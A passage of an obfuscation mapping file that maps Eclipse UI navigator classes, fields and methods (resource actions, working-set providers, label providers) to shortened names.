+ void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$5 -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$5: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction this$0 -> afc + org.eclipse.core.resources.IResource val$resource -> afg + void focusLost(org.eclipse.swt.events.FocusEvent) -> focusLost +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$6 -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$6: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction this$0 -> afc + org.eclipse.core.resources.IResource val$resource -> afg + org.eclipse.core.resources.IWorkspace val$workspace -> afh + org.eclipse.core.runtime.IPath val$prefix -> afi + java.lang.String isValid(java.lang.String) -> isValid +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$7 -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$7: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction this$0 -> afc + java.util.List val$lstCloseEditor -> aea + org.eclipse.ui.IWorkbenchPage val$page2 -> aeb + void run() -> run +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$8 -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$8: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction this$0 -> afc + java.lang.String val$newName -> afj + void run() -> run +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$9 -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$9: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction this$0 -> afc + org.eclipse.core.runtime.IStatus[] val$errorStatus -> afk + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider: + org.eclipse.ui.actions.OpenResourceAction openProjectAction -> afl + org.eclipse.ui.actions.CloseResourceAction closeProjectAction -> afm + org.eclipse.ui.actions.RefreshAction refreshAction -> afn + org.eclipse.swt.widgets.Shell shell -> shell + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + boolean hasBuilder(org.eclipse.core.resources.IProject) -> a + void makeActions() -> makeActions + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + void updateActionBars() -> updateActionBars + org.eclipse.swt.widgets.Shell access$0(org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider) -> a + org.eclipse.ui.navigator.ICommonActionExtensionSite access$1(org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider) -> b +org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$1 -> org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$1: + org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider this$0 -> afo + org.eclipse.swt.widgets.Shell getShell() -> getShell +org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2 -> org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2: + org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider this$0 -> afo + void run() -> run + org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider access$0(org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2) -> a +org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2$1 -> org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2$1: + org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2 this$1 -> afp + org.eclipse.ui.actions.WorkspaceModifyOperation val$op -> afq + org.eclipse.core.runtime.IStatus[] val$errorStatus -> afk + org.eclipse.core.runtime.IStatus runInWorkspace(org.eclipse.core.runtime.IProgressMonitor) -> runInWorkspace + org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2 access$0(org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2$1) -> a +org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2$1$1 -> org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2$1$1: + org.eclipse.ui.internal.navigator.resources.actions.ResourceMgmtActionProvider$2$1 this$2 -> afr + void run() -> run +org.eclipse.ui.internal.navigator.resources.actions.UndoRedoActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.UndoRedoActionProvider: + org.eclipse.ui.operations.UndoRedoActionGroup undoRedoGroup -> undoRedoGroup + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void dispose() -> dispose + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + void setContext(org.eclipse.ui.actions.ActionContext) -> setContext + void updateActionBars() -> updateActionBars +org.eclipse.ui.internal.navigator.resources.actions.WorkManagementActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.WorkManagementActionProvider: + org.eclipse.ui.actions.AddTaskAction addTaskAction -> addTaskAction + org.eclipse.ui.actions.AddBookmarkAction addBookmarkAction -> addBookmarkAction + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void setContext(org.eclipse.ui.actions.ActionContext) -> setContext +org.eclipse.ui.internal.navigator.resources.actions.WorkManagementActionProvider$1 -> org.eclipse.ui.internal.navigator.resources.actions.WorkManagementActionProvider$1: + org.eclipse.ui.internal.navigator.resources.actions.WorkManagementActionProvider this$0 -> afs + org.eclipse.swt.widgets.Shell val$shell -> ct + org.eclipse.swt.widgets.Shell getShell() -> getShell +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider: + java.lang.String TAG_CURRENT_WORKING_SET_NAME -> aft + java.lang.String WORKING_SET_FILTER_ID -> afu + boolean contributedToViewMenu -> afv + org.eclipse.ui.navigator.CommonViewer viewer -> afw + org.eclipse.ui.navigator.INavigatorContentService contentService -> afx + org.eclipse.ui.internal.navigator.NavigatorFilterService filterService -> afy + org.eclipse.ui.actions.WorkingSetFilterActionGroup workingSetActionGroup -> afz + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup workingSetRootModeActionGroup -> afA + java.lang.Object originalViewerInput -> afB + org.eclipse.ui.navigator.IExtensionStateModel extensionStateModel -> afC + boolean emptyWorkingSet -> afD + org.eclipse.ui.IWorkingSet workingSet -> workingSet + org.eclipse.jface.util.IPropertyChangeListener topLevelModeListener -> afE + boolean ignoreFilterChangeEvents -> afF + org.eclipse.jface.util.IPropertyChangeListener filterChangeListener -> afG + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$WorkingSetManagerListener managerChangeListener -> afH + org.eclipse.ui.navigator.IExtensionActivationListener activationListener -> afI + boolean FIRST_TIME -> afJ + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void initWorkingSetFilter(java.lang.String) -> eN + void setWorkingSetFilter(org.eclipse.ui.IWorkingSet) -> a + void setWorkingSetFilter(org.eclipse.ui.IWorkingSet,boolean) -> a + void setWorkingSet(org.eclipse.ui.IWorkingSet) -> setWorkingSet + void restoreState(org.eclipse.ui.IMemento) -> restoreState + void saveState(org.eclipse.ui.IMemento) -> saveState + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void dispose() -> dispose + org.eclipse.jface.util.IPropertyChangeListener getFilterChangeListener() -> getFilterChangeListener + boolean access$0(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider) -> a + org.eclipse.ui.navigator.INavigatorContentService access$1(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider) -> b + org.eclipse.ui.navigator.CommonViewer access$2(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider) -> c + org.eclipse.ui.IWorkingSet access$3(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider) -> d + void access$4(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider,org.eclipse.ui.navigator.IExtensionStateModel) -> a + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup access$5(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider) -> e + org.eclipse.ui.navigator.IExtensionStateModel access$6(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider) -> f + org.eclipse.jface.util.IPropertyChangeListener access$7(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider) -> g + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$WorkingSetManagerListener access$8(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider) -> h + boolean access$9(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider) -> i + void access$10(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider,boolean) -> a + void access$11(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider,org.eclipse.ui.IWorkingSet) -> a +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$1 -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$1: + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider this$0 -> afK + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$2 -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$2: + org.eclipse.ui.IWorkingSet savedWorkingSet -> afL + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider this$0 -> afK + void onExtensionActivation(java.lang.String,java.lang.String[],boolean) -> onExtensionActivation +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$3 -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$3: + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider this$0 -> afK + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$4 -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$4: + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider this$0 -> afK + org.eclipse.ui.IMemento val$aMemento -> afM + void run() -> run +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$WorkingSetManagerListener -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider$WorkingSetManagerListener: + boolean listening -> afN + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetActionProvider this$0 -> afK + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange + void listen() -> listen + void ignore() -> ignore +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup: + org.eclipse.ui.navigator.IExtensionStateModel stateModel -> afO + org.eclipse.jface.viewers.StructuredViewer structuredViewer -> afP + boolean hasContributedToViewMenu -> afQ + org.eclipse.jface.action.IAction workingSetsAction -> afR + org.eclipse.jface.action.IAction projectsAction -> afS + org.eclipse.jface.action.IAction[] actions -> afT + int currentSelection -> afU + org.eclipse.swt.widgets.MenuItem[] items -> afV + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void addActions(org.eclipse.jface.action.IMenuManager) -> d + org.eclipse.jface.action.IAction[] createActions() -> mR + void setShowTopLevelWorkingSets(boolean) -> setShowTopLevelWorkingSets + void setStateModel(org.eclipse.ui.navigator.IExtensionStateModel) -> setStateModel + org.eclipse.ui.navigator.IExtensionStateModel access$0(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup) -> a + org.eclipse.jface.viewers.StructuredViewer access$1(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup) -> b + org.eclipse.jface.action.IAction[] access$2(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup) -> c + org.eclipse.swt.widgets.MenuItem[] access$3(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup) -> d + int access$4(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup) -> e + void access$5(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup,int) -> a +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup$1 -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup$1: + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup this$0 -> afW + int val$j -> afX + void fill(org.eclipse.swt.widgets.Menu,int) -> fill + boolean isDynamic() -> isDynamic + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup access$0(org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup$1) -> a +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup$1$1 -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup$1$1: + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup$1 this$1 -> afY + int val$j -> afX + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup$TopLevelContentAction -> org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup$TopLevelContentAction: + boolean groupWorkingSets -> afZ + org.eclipse.ui.internal.navigator.resources.actions.WorkingSetRootModeActionGroup this$0 -> afW + void run() -> run +org.eclipse.ui.internal.navigator.resources.plugin.NavigatorUIPluginImages -> org.eclipse.ui.internal.navigator.resources.plugin.NavigatorUIPluginImages: + java.net.URL fgIconLocation -> aga + org.eclipse.jface.resource.ImageRegistry NAVIGATORUIPLUGIN_REGISTRY -> agb + org.eclipse.swt.graphics.Image get(java.lang.String) -> get + org.eclipse.jface.resource.ImageDescriptor create(java.lang.String,java.lang.String) -> X + java.net.URL makeIconFileURL(java.lang.String,java.lang.String) -> Y + void setLocalImageDescriptors(org.eclipse.jface.action.IAction,java.lang.String) -> setLocalImageDescriptors + void setImageDescriptors(org.eclipse.jface.action.IAction,java.lang.String,java.lang.String) -> setImageDescriptors +org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin -> org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin: + org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin plugin -> agc + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin getDefault() -> getDefault + org.eclipse.core.resources.IWorkspace getWorkspace() -> getWorkspace + void log(java.lang.String,org.eclipse.core.runtime.IStatus) -> log + org.eclipse.core.runtime.IStatus createStatus(int,int,java.lang.String,java.lang.Throwable) -> createStatus + org.eclipse.core.runtime.IStatus createErrorStatus(int,java.lang.String,java.lang.Throwable) -> createErrorStatus + org.eclipse.core.runtime.IStatus createErrorStatus(java.lang.String,java.lang.Throwable) -> createErrorStatus + org.eclipse.core.runtime.IStatus createErrorStatus(java.lang.String) -> createErrorStatus + org.eclipse.core.runtime.IStatus createInfoStatus(java.lang.String) -> createInfoStatus + org.eclipse.core.runtime.IStatus createWarningStatus(java.lang.String) -> createWarningStatus +org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages -> org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.lang.String navigator_all_dialog_warning -> navigator_all_dialog_warning + java.lang.String PortingActionProvider_ImportResourcesMenu_label -> PortingActionProvider_ImportResourcesMenu_label + java.lang.String PortingActionProvider_ExportResourcesMenu_label -> PortingActionProvider_ExportResourcesMenu_label + java.lang.String actions_NewActionProvider_NewMenu_label -> actions_NewActionProvider_NewMenu_label + java.lang.String actions_OpenActionProvider_OpenWithMenu_label -> actions_OpenActionProvider_OpenWithMenu_label + java.lang.String resources_ResourceDropAdapterAssistant_title -> resources_ResourceDropAdapterAssistant_title + java.lang.String resources_ResourceDropAdapterAssistant_problemImporting -> resources_ResourceDropAdapterAssistant_problemImporting + java.lang.String resources_ResourceDropAdapterAssistant_problemsMoving -> resources_ResourceDropAdapterAssistant_problemsMoving + java.lang.String resources_ResourceDropAdapterAssistant_targetMustBeResource -> resources_ResourceDropAdapterAssistant_targetMustBeResource + java.lang.String resources_ResourceDropAdapterAssistant_canNotDropIntoClosedProject -> resources_ResourceDropAdapterAssistant_canNotDropIntoClosedProject + java.lang.String resources_ResourceDropAdapterAssistant_resourcesCanNotBeSiblings -> resources_ResourceDropAdapterAssistant_resourcesCanNotBeSiblings + java.lang.String resources_ResourceDropAdapterAssistant_canNotDropProjectIntoProject -> resources_ResourceDropAdapterAssistant_canNotDropProjectIntoProject + java.lang.String resources_ResourceDropAdapterAssistant_dropOperationErrorOther -> resources_ResourceDropAdapterAssistant_dropOperationErrorOther + java.lang.String resources_ResourceDropAdapterAssistant_MoveResourceAction_title -> resources_ResourceDropAdapterAssistant_MoveResourceAction_title + java.lang.String resources_ResourceDropAdapterAssistant_MoveResourceAction_checkMoveMessage -> resources_ResourceDropAdapterAssistant_MoveResourceAction_checkMoveMessage + java.lang.String actions_ResourceMgmtActionProvider_logTitle -> actions_ResourceMgmtActionProvider_logTitle + java.lang.String actions_WorkingSetRootModeActionGroup_Top_Level_Element_ -> actions_WorkingSetRootModeActionGroup_Top_Level_Element_ + java.lang.String actions_WorkingSetRootModeActionGroup_Project_ -> actions_WorkingSetRootModeActionGroup_Project_ + java.lang.String actions_WorkingSetRootModeActionGroup_Working_Set_ -> actions_WorkingSetRootModeActionGroup_Working_Set_ + java.lang.String actions_WorkingSetActionProvider_multipleWorkingSets -> actions_WorkingSetActionProvider_multipleWorkingSets + java.lang.String actions_CopyAction_Cop_ -> actions_CopyAction_Cop_ + java.lang.String actions_CopyAction_Copy_selected_resource_s_ -> actions_CopyAction_Copy_selected_resource_s_ + java.lang.String actions_PasteAction_Past_ -> actions_PasteAction_Past_ + java.lang.String actions_PasteAction_Paste_selected_resource_s_ -> actions_PasteAction_Paste_selected_resource_s_ + java.lang.String actions_GotoResourceDialog_GoToTitle -> actions_GotoResourceDialog_GoToTitle + java.lang.String resources_ProjectExplorer_toolTip -> resources_ProjectExplorer_toolTip + java.lang.String resources_ProjectExplorer_toolTip2 -> resources_ProjectExplorer_toolTip2 + java.lang.String resources_ProjectExplorer_toolTip3 -> resources_ProjectExplorer_toolTip3 + java.lang.String resources_ProjectExplorerPart_workspace -> resources_ProjectExplorerPart_workspace + java.lang.String resources_ProjectExplorerPart_workingSetModel -> resources_ProjectExplorerPart_workingSetModel + java.lang.String actions_CopyAction_msgTitle -> actions_CopyAction_msgTitle + java.lang.String actions_CopyAction_msg -> actions_CopyAction_msg + java.lang.String actions_EditActionGroup_pasteAction -> actions_EditActionGroup_pasteAction + java.lang.String actions_EditActionGroup_copyAction -> actions_EditActionGroup_copyAction + java.lang.String actions_EditActionGroup_deleteAction -> actions_EditActionGroup_deleteAction + java.lang.String actions_OpenActionProvider_openFileAction -> actions_OpenActionProvider_openFileAction + java.lang.String actions_RefactorActionGroup_moveAction -> actions_RefactorActionGroup_moveAction + java.lang.String actions_RefactorActionGroup_renameAction -> actions_RefactorActionGroup_renameAction + java.lang.String actions_ResourceMgmtActionProvider_openProjectAction -> actions_ResourceMgmtActionProvider_openProjectAction + java.lang.String actions_ResourceMgmtActionProvider_closeProjectAction -> actions_ResourceMgmtActionProvider_closeProjectAction + java.lang.String actions_ResourceMgmtActionProvider_refreshAction -> actions_ResourceMgmtActionProvider_refreshAction + java.lang.String actions_OpenFileWithValidAction_notFindProgram -> actions_OpenFileWithValidAction_notFindProgram +org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider -> org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider: + java.lang.Object[] NO_CHILDREN -> NO_CHILDREN + org.eclipse.jface.viewers.Viewer viewer -> agd + java.lang.Object[] getElements(java.lang.Object) -> getElements + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + boolean hasChildren(java.lang.Object) -> hasChildren + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged + void processDelta(org.eclipse.core.resources.IResourceDelta) -> processDelta + void processDelta(org.eclipse.core.resources.IResourceDelta,java.util.Collection) -> a + java.lang.Runnable getRefreshRunnable(org.eclipse.core.resources.IResource) -> e + void runUpdates(java.util.Collection) -> a + org.eclipse.jface.viewers.Viewer access$0(org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider) -> a + void access$1(org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider,java.util.Collection) -> a +org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider$1 -> org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider$1: + org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider this$0 -> age + java.util.Collection val$runnables -> agf + void run() -> run +org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider$2 -> org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider$2: + org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider this$0 -> age + boolean val$hasRename -> agg + java.lang.Object[] val$addedObjects -> agh + org.eclipse.core.resources.IResource val$resource -> afg + java.lang.Object[] val$removedObjects -> agi + void run() -> run +org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider$3 -> org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider$3: + org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionContentProvider this$0 -> age + org.eclipse.core.resources.IResource val$resource -> afg + void run() -> run +org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionLabelProvider -> org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionLabelProvider: + void init(org.eclipse.ui.navigator.ICommonContentExtensionSite) -> init + java.lang.String getDescription(java.lang.Object) -> getDescription + void restoreState(org.eclipse.ui.IMemento) -> restoreState + void saveState(org.eclipse.ui.IMemento) -> saveState +org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionSorter -> org.eclipse.ui.internal.navigator.resources.workbench.ResourceExtensionSorter: +org.eclipse.ui.internal.navigator.resources.workbench.ResourceLinkHelper -> org.eclipse.ui.internal.navigator.resources.workbench.ResourceLinkHelper: + org.eclipse.jface.viewers.IStructuredSelection findSelection(org.eclipse.ui.IEditorInput) -> findSelection + void activateEditor(org.eclipse.ui.IWorkbenchPage,org.eclipse.jface.viewers.IStructuredSelection) -> activateEditor +org.eclipse.ui.internal.navigator.resources.workbench.TabbedPropertySheetAdapterFactory -> org.eclipse.ui.internal.navigator.resources.workbench.TabbedPropertySheetAdapterFactory: + java.lang.Object getAdapter(java.lang.Object,java.lang.Class) -> getAdapter + java.lang.Class[] getAdapterList() -> getAdapterList +org.eclipse.ui.internal.navigator.resources.workbench.TabbedPropertySheetProjectExplorerContributor -> org.eclipse.ui.internal.navigator.resources.workbench.TabbedPropertySheetProjectExplorerContributor: + java.lang.String contributorId -> contributorId + java.lang.String getContributorId() -> getContributorId +org.eclipse.ui.internal.navigator.resources.workbench.TabbedPropertySheetTitleProvider -> org.eclipse.ui.internal.navigator.resources.workbench.TabbedPropertySheetTitleProvider: + org.eclipse.jface.viewers.ILabelProvider labelProvider -> labelProvider + org.eclipse.ui.navigator.IDescriptionProvider descriptionProvider -> agj + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage + java.lang.String getText(java.lang.Object) -> getText +org.eclipse.ui.internal.navigator.resources.workbench.WorkbenchLabelProvider -> org.eclipse.ui.internal.navigator.resources.workbench.WorkbenchLabelProvider: + org.eclipse.ui.IPropertyListener editorRegistryListener -> agk + org.eclipse.jface.resource.ResourceManager resourceManager -> agl + org.eclipse.jface.viewers.ILabelProvider getDecoratingWorkbenchLabelProvider() -> getDecoratingWorkbenchLabelProvider + org.eclipse.jface.resource.ImageDescriptor decorateImage(org.eclipse.jface.resource.ImageDescriptor,java.lang.Object) -> decorateImage + java.lang.String decorateText(java.lang.String,java.lang.Object) -> decorateText + void dispose() -> dispose + org.eclipse.ui.model.IWorkbenchAdapter getAdapter(java.lang.Object) -> getAdapter + org.eclipse.ui.model.IWorkbenchAdapter2 getAdapter2(java.lang.Object) -> getAdapter2 + org.eclipse.ui.model.IWorkbenchAdapter3 getAdapter3(java.lang.Object) -> getAdapter3 + org.eclipse.jface.resource.ResourceManager getResourceManager() -> getResourceManager + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage + org.eclipse.jface.viewers.StyledString getStyledText(java.lang.Object) -> getStyledText + org.eclipse.jface.viewers.StyledString$Styler getDecorationStyle(java.lang.Object) -> getDecorationStyle + java.lang.String getText(java.lang.Object) -> getText + org.eclipse.swt.graphics.Color getForeground(java.lang.Object) -> getForeground + org.eclipse.swt.graphics.Color getBackground(java.lang.Object) -> getBackground + org.eclipse.swt.graphics.Font getFont(java.lang.Object) -> getFont + org.eclipse.swt.graphics.Color getColor(java.lang.Object,boolean) -> b + java.lang.String getDecorateFileCount(org.eclipse.core.resources.IFolder) -> b + void lookUp(java.io.File,java.util.List) -> lookUp + void access$0(org.eclipse.ui.internal.navigator.resources.workbench.WorkbenchLabelProvider,org.eclipse.jface.viewers.LabelProviderChangedEvent) -> a +org.eclipse.ui.internal.navigator.resources.workbench.WorkbenchLabelProvider$1 -> org.eclipse.ui.internal.navigator.resources.workbench.WorkbenchLabelProvider$1: + org.eclipse.ui.internal.navigator.resources.workbench.WorkbenchLabelProvider this$0 -> agm + void propertyChanged(java.lang.Object,int) -> propertyChanged +org.eclipse.ui.internal.navigator.workingsets.WorkingSetSorter -> org.eclipse.ui.internal.navigator.workingsets.WorkingSetSorter: + int compare(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> compare +org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider -> org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider: + java.lang.String EXTENSION_ID -> EXTENSION_ID + java.lang.String SHOW_TOP_LEVEL_WORKING_SETS -> SHOW_TOP_LEVEL_WORKING_SETS + java.lang.Object[] NO_CHILDREN -> NO_CHILDREN + org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider$WorkingSetHelper helper -> agn + org.eclipse.ui.IAggregateWorkingSet workingSetRoot -> ago + org.eclipse.ui.navigator.IExtensionStateModel extensionStateModel -> afC + org.eclipse.ui.navigator.CommonNavigator projectExplorer -> agp + org.eclipse.ui.navigator.CommonViewer viewer -> afw + org.eclipse.jface.util.IPropertyChangeListener rootModeListener -> agq + void init(org.eclipse.ui.navigator.ICommonContentExtensionSite) -> init + void restoreState(org.eclipse.ui.IMemento) -> restoreState + void saveState(org.eclipse.ui.IMemento) -> saveState + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + org.eclipse.core.runtime.IAdaptable[] getWorkingSetElements(org.eclipse.ui.IWorkingSet) -> b + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren + java.lang.Object[] getElements(java.lang.Object) -> getElements + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged + void updateRootMode() -> mS + void access$0(org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider) -> a + org.eclipse.ui.IAggregateWorkingSet access$1(org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider) -> b + void access$2(org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider,org.eclipse.ui.IAggregateWorkingSet) -> a + org.eclipse.core.runtime.IAdaptable[] access$3(org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider,org.eclipse.ui.IWorkingSet) -> a +org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider$1 -> org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider$1: + org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider this$0 -> agr + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider$WorkingSetHelper -> org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider$WorkingSetHelper: + org.eclipse.ui.IWorkingSet workingSet -> workingSet + java.util.Map parents -> ags + org.eclipse.ui.internal.navigator.workingsets.WorkingSetsContentProvider this$0 -> agr + java.lang.Object getParent(java.lang.Object) -> getParent +org.eclipse.ui.internal.navigator.workingsets.WorkingSetsLabelProvider -> org.eclipse.ui.internal.navigator.workingsets.WorkingSetsLabelProvider: + org.eclipse.ui.model.WorkbenchLabelProvider labelProvider -> agt + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage + java.lang.String getText(java.lang.Object) -> getText + void addListener(org.eclipse.jface.viewers.ILabelProviderListener) -> addListener + void dispose() -> dispose + boolean isLabelProperty(java.lang.Object,java.lang.String) -> isLabelProperty + void 